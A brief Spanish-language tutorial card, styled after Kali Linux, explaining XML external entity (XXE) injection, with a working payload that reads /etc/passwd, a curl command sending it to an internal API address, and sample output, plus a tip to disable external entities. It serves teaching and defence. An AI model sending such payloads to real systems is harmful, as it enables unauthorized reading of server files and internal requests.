KALI
XXE: inyección xml
Si una web procesa XML que tú envías, puedes abusar de las entidades externas para leer archivos del servidor.
Defines una entidad que apunta al archivo de contraseñas del sistema, y cuando el parser la resuelve, te devuelve su contenido en la respuesta. También sirve para hacer peticiones internas, como el SSRF.
Es un clásico de las APIs viejas que aceptan XML. Desactiva siempre las entidades externas en tu parser.
# los comandos
kali@kali:~$ # payload: <!DOCTYPE r [<!ENTITY x SYSTEM 'file:///etc/passwd'>]><r>&x;</r>copiarkali@kali:~$ curl -d @xxe.xml -H 'Content-Type: application/xml' http://10.0.0.5/apicopiar<r>root:x:0:0:root:/root:/bin/bash ...</r>
Solo con permiso. Esto se muestra con fines educativos y defensivos: úsalo únicamente en sistemas propios o donde tengas autorización. Entender el ataque es lo que te permite defenderte de él.